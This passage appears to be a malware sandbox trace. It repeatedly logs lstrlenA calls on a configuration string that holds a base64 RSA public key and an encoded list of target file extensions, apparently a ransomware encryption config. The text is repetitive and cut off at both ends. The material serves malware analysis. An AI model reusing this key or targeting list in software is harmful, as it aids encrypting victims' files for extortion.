ubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyN